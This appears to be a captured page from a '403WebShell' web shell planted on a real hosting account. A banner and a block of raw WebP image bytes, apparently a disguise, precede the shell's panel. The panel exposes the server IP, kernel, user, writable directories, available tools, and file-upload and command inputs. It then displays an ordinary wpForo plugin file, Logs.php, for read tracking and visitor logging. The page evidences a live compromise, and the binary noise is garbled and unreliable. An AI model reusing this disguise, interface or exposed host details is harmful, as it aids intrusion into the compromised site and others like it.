....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.29.146.187  /  Your IP : 216.73.216.61
Web Server : LiteSpeed
System : Linux premium302.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : ailwtbdh ( 734)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ailwtbdh/www/wp-content/plugins/wpforo/classes/Logs.php
<?php

namespace wpforo\classes;

// Exit if accessed directly
if( ! defined( 'ABSPATH' ) ) exit;

class Logs {
	public function read() {
		$data = WPF()->current_object;

		if( wpforo_setting( 'logging', 'view_logging' ) && wpfval( $data, 'template' ) ) {
			if( $data['template'] === 'post' ) {
				if( wpfval( $data, 'topicid' ) && wpfval( $data, 'topic', 'last_post' ) ) {
					$this->read_item( $data['topicid'], $data['topic']['last_post'], wpforo_prefix( 'read_topics' ) );
				}
				if( wpfval( $data, 'forumid' ) ) {
					$end_date    = time() - ( 14 * 24 * 60 * 60 );
					$items_count = 0;
					$args        = [ 'read' => false, 'forumid' => $data['forumid'], 'orderby' => 'modified', 'order' => 'ASC', 'row_count' => 1, 'where' => "`modified` > '" . gmdate( 'Y-m-d H:i:s', $end_date ) . "'" ];
					$topics      = WPF()->topic->get_topics( $args, $items_count );
					if( empty( $topics ) ) {
						if( wpfval( $data, 'forum', 'last_postid' ) ) {
							$last_postid = $data['forum']['last_postid'];
						} elseif( wpfval( $data, 'topic', 'last_post' ) ) {
							$last_postid = $data['topic']['last_post'];
						}
						if( ! empty( $last_postid ) ) $this->read_item( $data['forumid'], $last_postid, wpforo_prefix( 'read_forums' ) );
					} else {
						foreach( $topics as $topic ) {
							if( wpfval( $topic, 'last_post' ) ) {
								if( $items_count == 1 && $topic['topicid'] == $data['topicid'] ) {
									if( wpfval( $data, 'forum', 'last_postid' ) ) {
										$last_postid = $data['forum']['last_postid'];
									} elseif( wpfval( $data, 'topic', 'last_post' ) ) {
										$last_postid = $data['topic']['last_post'];
									} elseif( wpfval( $topic, 'last_post' ) ) {
										$last_postid = $topic['last_post'];
									}
								} else {
									$last_postid = ( $topic['last_post'] - 1 );
								}
								if( isset( $last_postid ) ) {
									$this->read_item( $data['forumid'], $last_postid, wpforo_prefix( 'read_forums' ) );
									break;
								}
							}
						}
					}
				}
			}
		}
	}

	public function read_item( $itemid, $item_last_postid, $key ) {

		$log         = false;
		$logdb       = false;
		$read_ids    = [];
		$read_db_ids = [];
		$login       = is_user_logged_in();

		if( $itemid && $key ) {
			if( wpforo_setting( 'legal', 'cookies' ) ) $read_ids = wpforo_getcookie( $key, false );
			if( wpfval( WPF()->current_usermeta, $key ) ) $read_db_ids = wpforo_current_usermeta( $key );
			if( ! $read_ids || ! is_array( $read_ids ) ) $read_ids = [];
			if( ! $read_db_ids || ! is_array( $read_ids ) ) $read_db_ids = [];

			if( empty( $read_ids ) || ( $login && empty( $read_db_ids ) ) ) {
				if( empty( $read_ids ) ) $log = true;
				if( empty( $read_db_ids ) && $login ) $logdb = true;
				$read_ids = [ $itemid => $item_last_postid ];
			} elseif( ! wpfval( $read_ids, $itemid ) || ! wpfval( $read_db_ids, $itemid ) || (int) $read_ids[ $itemid ] < (int) $item_last_postid || (int) $read_db_ids[ $itemid ] < (int) $item_last_postid ) {
				$log = true;
				if( $login ) $logdb = true;
				if( is_array( $read_ids ) && is_array( $read_db_ids ) ) {
					$keep_guest_read  = apply_filters( 'wpforo_keep_guest_read', false );
					$merge_guest_read = apply_filters( 'wpforo_merge_guest_read', true );
					if( $merge_guest_read ) {
						$read_ids = ( $keep_guest_read ) ? $read_ids + $read_db_ids : $read_db_ids + $read_ids;
					} else {
						$read_ids = ( $login ) ? $read_db_ids : $read_ids;
					}
				}
				$read_ids[ $itemid ] = $item_last_postid;
				if( $key === wpforo_prefix( 'read_forums' ) ) {
					$read_ids = $this->read_parent_items( $read_ids, $itemid, $item_last_postid );
				}
			}
			$this->log_item( $read_ids, $key, $logdb, $log );
		}
	}

	public function read_parent_items( $read_ids = [], $itemid = 0, $item_last_postid = 0 ) {
		if( wpfval( $read_ids, $itemid ) && $item_last_postid ) {
			$parents = [];
			WPF()->forum->get_parents( $itemid, $parents );
			foreach( $parents as $parent ) {
				$read_ids[ $parent ] = $item_last_postid;
			}
		}

		return $read_ids;
	}

	public function log_item( $read_ids, $key, $logdb = true, $log = true ) {
		if( $log && wpforo_setting( 'legal', 'cookies' ) ) {
			wpforo_setcookie( $key, $read_ids, false );
		}
		if( $logdb && is_user_logged_in() ) {
			$max = apply_filters( 'wpforo_max_logged_topics', 100 );
			$num = count( $read_ids );
			if( $num > $max ) {
				$delta = $num - $max;
				if( $delta > 0 ) $read_ids = array_slice( $read_ids, $delta, null, true );
			}
			update_user_meta( WPF()->current_userid, $key, $read_ids );
		}
	}

	public function unread( $id, $in = 'forum', $postid = 0 ) {

		$new = false;
		if( ! wpforo_setting( 'logging', 'view_logging' ) ) return false;

		if( $id ) {
			if( $in === 'forum' ) {
				$last_postid = wpforo_forum( $id, 'last_postid' );
				if( ! $last_postid ) {
					return false;
				}
				//Pass all posts created before "Mark all read" action
				$last_read_postid = $this->get_all_read( 'post' );
				if( $last_read_postid ) {
					if( (int) $last_postid > $last_read_postid ) $new = true;
				}
				//Check the last read post of current forum
				if( ! $last_read_postid || $new ) {
					$read_forums = $this->get_read_forums();
					if( wpfkey( $read_forums, $id ) ) {
						$last_read_postid = $read_forums[ $id ];
						if( (int) $last_postid > (int) $last_read_postid ) {
							$new = true;
						} else {
							$new = false;
						}
					} else {
						$new = true;
					}
				}
				$new = apply_filters( 'wpforo_new_in_forum', $new, $id );
			} elseif( $in == 'topic' || $in == 'post' ) {
				$last_postid = wpforo_topic( $id, 'last_post' );
				if( ! $last_postid ) {
					return false;
				}
				//Pass all posts created before "Mark all read" action
				$last_read_postid = $this->get_all_read( 'post' );
				if( $last_read_postid ) {
					if( (int) $last_postid > $last_read_postid ) $new = true;
				}
				//Check the last read post of current forum
				if( ! $last_read_postid || $new ) {
					$read_topics = $this->get_read_topics();
					if( wpfkey( $read_topics, $id ) ) {
						$last_read_postid = $read_topics[ $id ];
						if( (int) $last_postid > (int) $last_read_postid ) {
							$new = true;
						} else {
							$new = false;
						}
					} else {
						$new = true;
					}
				}
				//Check an individual post if it's unread in an unread topic
				if( $in === 'post' &&  $postid && (int) $postid > (int) $last_read_postid ) $new = true;
				$new = apply_filters( 'wpforo_new_in_topic', $new, $id );
			}
		}

		return $new;
	}

	public function get_read( $return = 'topicid' ) {
		$topic_ids   = [];
		$read_topics = $this->get_read_topics();
		if( ! empty( $read_topics ) && is_array( $read_topics ) ) {
			$last_read_postid = $this->get_all_read( 'post' );
			foreach( $read_topics as $topicid => $postid ) {
				if( $last_read_postid && (int) $postid <= $last_read_postid ) {
					unset( $read_topics[ $topicid ] );
				} else {
					$current_last_postid = wpforo_topic( $topicid, 'last_post' );
					if( $current_last_postid ) {
						if( (int) $current_last_postid <= (int) $postid ) {
							$topic_ids[] = $topicid;
						}
					} else {
						$topic_ids[] = $topicid;
					}
				}
			}
		}
		if( $return == 'topicid' ) {
			return $topic_ids;
		} else {
			return $read_topics;
		}
	}

	public function get_read_forums() {
		if( is_user_logged_in() && wpfval( WPF()->current_usermeta, wpforo_prefix( 'read_forums' ) ) ) {
			$read_forums = wpforo_current_usermeta( wpforo_prefix( 'read_forums' ) );
		} else {
			$read_forums = wpforo_getcookie( wpforo_prefix( 'read_forums' ), false );
		}

		return $read_forums;
	}

	public function get_read_topics() {
		if( is_user_logged_in() && wpfval( WPF()->current_usermeta, wpforo_prefix( 'read_topics' ) ) ) {
			$read_topics = wpforo_current_usermeta( wpforo_prefix( 'read_topics' ) );
		} else {
			$read_topics = wpforo_getcookie( wpforo_prefix( 'read_topics' ), false );
		}

		return $read_topics;
	}

	public function last( $item ) {
		$id = 0;

		if( $item === 'forum' ) {
			$id = WPF()->db->get_var( "SELECT MAX(`forumid`) FROM " . WPF()->tables->forums );
		} elseif( $item === 'topic' ) {
			$id = WPF()->db->get_var( "SELECT MAX(`topicid`) FROM " . WPF()->tables->topics );
		} elseif( $item === 'post' ) {
			$id = WPF()->db->get_var( "SELECT MAX(`postid`) FROM " . WPF()->tables->posts );
		}

		return intval( $id );
	}

	public function mark_all_read() {
		$last_forumid = $this->last( 'forum' );
		$last_topicid = $this->last( 'topic' );
		$last_postid  = $this->last( 'post' );
		$last         = [ 'forum' => $last_forumid, 'topic' => $last_topicid, 'post' => $last_postid ];
		if( is_user_logged_in() ) {
			update_user_meta( WPF()->current_userid, wpforo_prefix( 'all_read' ), $last );
			update_user_meta( WPF()->current_userid, wpforo_prefix( 'read_forums' ), [] );
			update_user_meta( WPF()->current_userid, wpforo_prefix( 'read_topics' ), [] );
		}
		wpforo_setcookie( wpforo_prefix( 'all_read' ), $last );
		wpforo_setcookie( wpforo_prefix( 'read_forums' ) );
		wpforo_setcookie( wpforo_prefix( 'read_topics' ) );
	}

	public function get_all_read( $item ) {
		if( is_user_logged_in() ) {
			$last = wpforo_current_usermeta( wpforo_prefix( 'all_read' ) );
		} else {
			$last = wpforo_getcookie( wpforo_prefix( 'all_read' ) );
		}
		if( $item && wpfval( $last, $item ) ) {
			return intval( $last[ $item ] );
		}

		return 0;
	}

	public function visitors( $item ) {
		$data     = [];
		$visitors = [];
		if( wpfval( $item, 'topicid' ) ) {
			$keep_vistors_data = apply_filters( 'wpforo_keep_visitors_data', 4000 );
			$time              = (int) time() - (int) $keep_vistors_data;
			$visitors          = WPF()->db->get_results( "SELECT * FROM `" . WPF()->tables->visits . "` WHERE `topicid` = " . intval( $item['topicid'] ) . " AND `time` > " . $time . " ORDER BY `id` DESC", ARRAY_A );
		} elseif( wpfval( $item, 'forumid' ) ) {
			$keep_vistors_data = apply_filters( 'wpforo_keep_visitors_data', 4000 );
			$time              = (int) time() - (int) $keep_vistors_data;
			$visitors          = WPF()->db->get_results( "SELECT * FROM `" . WPF()->tables->visits . "` WHERE `forumid` = " . intval( $item['forumid'] ) . " AND `time` > " . $time . " ORDER BY `id` DESC", ARRAY_A );
		}
		if( ! empty( $visitors ) ) {
			$online_period = (int) time() - (int) wpforo_setting( 'profiles', 'online_status_timeout' );

			// Batch-fetch the latest visit time per user to avoid N+1 queries
			$online_user_ids = [];
			foreach( $visitors as $visitor ) {
				if( wpfval( $visitor, 'userid' ) && (int) $visitor['time'] >= $online_period ) {
					$online_user_ids[ intval( $visitor['userid'] ) ] = true;
				}
			}
			$user_max_times = [];
			if( ! empty( $online_user_ids ) ) {
				$id_list = implode( ',', array_keys( $online_user_ids ) );
				$rows    = WPF()->db->get_results(
					"SELECT `userid`, MAX(`time`) as max_time FROM `" . WPF()->tables->visits . "` WHERE `userid` IN (" . $id_list . ") GROUP BY `userid`",
					ARRAY_A
				);
				foreach( $rows as $row ) {
					$user_max_times[ (int) $row['userid'] ] = (int) $row['max_time'];
				}
			}

			foreach( $visitors as $visitor ) {
				if( wpfval( $visitor, 'userid' ) ) {
					if( (int) $visitor['time'] < $online_period ) {
						$data['users']['viewed'][] = $visitor;
					} else {
						$uid      = intval( $visitor['userid'] );
						$max_time = isset( $user_max_times[ $uid ] ) ? $user_max_times[ $uid ] : 0;
						if( $max_time > (int) $visitor['time'] ) {
							$data['users']['viewed'][] = $visitor;
						} else {
							$data['users']['viewing'][] = $visitor;
						}
					}
				} elseif( (int) $visitor['time'] > $online_period ) {
					$data['guests'][] = $visitor;
				}
			}
		}

		return $data;
	}

	public function visit() {
		if( wpforo_setting( 'logging', 'track_logging' ) ) {
			if( ( wpforo_current_user_is( 'admin' ) || WPF()->current_user_groupid == 1 ) && ! wpforo_setting( 'logging', 'display_admin_viewers' ) ) {
				return false;
			}
			$data      = WPF()->current_object;
			$visitor   = WPF()->current_user;
			$template  = ( wpfval( $data, 'template' ) ) ? $data['template'] : '';
			$templates = [ 'forum', 'topic', 'post' ];
			$templates = apply_filters( 'wpforo_track_visitors_in_pages', $templates );
			if( $template ) {
				if( $template == 'post' && in_array( $template, $templates ) ) {
					//topic page (post list)
					if( wpfval( $data, 'topic', 'topicid' ) && wpfval( $data, 'topic', 'forumid' ) ) {
						$forumid = intval( $data['topic']['forumid'] );
						$topicid = intval( $data['topic']['topicid'] );
						$this->add_visit( $visitor, $forumid, $topicid );
					}
				} elseif( $template == 'topic' && in_array( $template, $templates ) ) {
					//forum page (topic list)
					if( wpfval( $data, 'forum', 'forumid' ) ) {
						$forumid = intval( $data['forum']['forumid'] );
						$this->add_visit( $visitor, $forumid );
					}
				} elseif( $template == 'forum' && in_array( $template, $templates ) ) {
					//forum home page
					$this->add_visit( $visitor );
				} elseif( in_array( $template, $templates ) ) {
					//other pages (profile, search, members, etc..)
					$this->add_visit( $visitor );
				}
			}
		}
		return false;
	}

	public function add_visit( $visitor, $forumid = 0, $topicid = 0 ) {
		$time = esc_sql( time() );
		if( WPF()->current_userid ) {
			$userid = ( wpfval( $visitor, 'userid' ) ) ? intval( $visitor['userid'] ) : 0;
			$name   = ( wpfval( $visitor, 'display_name' ) ) ? esc_sql( $visitor['display_name'] ) : '';
			WPF()->db->query( "INSERT INTO `" . WPF()->tables->visits . "` (`userid`, `name`, `time`, `topicid`, `forumid`) VALUES( " . $userid . ", '" . $name . "', '" . $time . "', " . $topicid . ", " . $forumid . " ) ON DUPLICATE KEY UPDATE `time` = '" . $time . "'" );
		} elseif( ! wpforo_is_bot() ) {
			$ip = ( wpfval( $_SERVER, 'REMOTE_ADDR' ) ) ? substr( md5( (string) $_SERVER['REMOTE_ADDR'] ), 0, 32 ) : '-noip-';
			if( $ip ) {
				$guest = WPF()->db->get_var( "SELECT `id` FROM `" . WPF()->tables->visits . "` WHERE `ip` = '" . esc_sql( $ip ) . "' LIMIT 1" );
				if( $guest ) {
					WPF()->db->query( "UPDATE `" . WPF()->tables->visits . "` SET `topicid` = " . intval( $topicid ) . ", `forumid` = " . intval( $forumid ) . ", `time` = '" . $time . "' WHERE `id` = " . intval( $guest ) );
				} else {
					WPF()->db->query( "INSERT IGNORE INTO `" . WPF()->tables->visits . "` (`ip`, `time`, `topicid`, `forumid`) VALUES( '" . esc_sql( $ip ) . "', '" . $time . "', " . $topicid . ", " . $forumid . " )" );
				}
			}
		}
	}

	/**
	 * do not use, this logic is not tested yet.
	 *
	 * @param int $forumid
	 *
	 * @return int
	 */
	public function get_forum_unreads_count( $forumid ) {
		$forumid          = intval( $forumid );
		$read_forums      = $this->get_read_forums();
		$last_read_postid = (int) wpfval( $read_forums, $forumid );
		$sql              = "SELECT SQL_NO_CACHE COUNT(*) FROM `" . WPF()->tables->posts . "`
	        WHERE `status` = 0
            AND `private` = 0
            AND `forumid` = $forumid
            AND `postid` > $last_read_postid";
		$count            = (int) WPF()->db->get_var( $sql );

		return (int) apply_filters( 'wpforo_logs_get_forum_unreads_count', $count, $forumid, $last_read_postid );
	}

	/**
	 * get unread posts count for topic by giving topicid
	 *
	 * @param int $topicid
	 *
	 * @return int
	 */
	public function get_topic_unreads_count( $topicid ) {
		$topicid          = intval( $topicid );
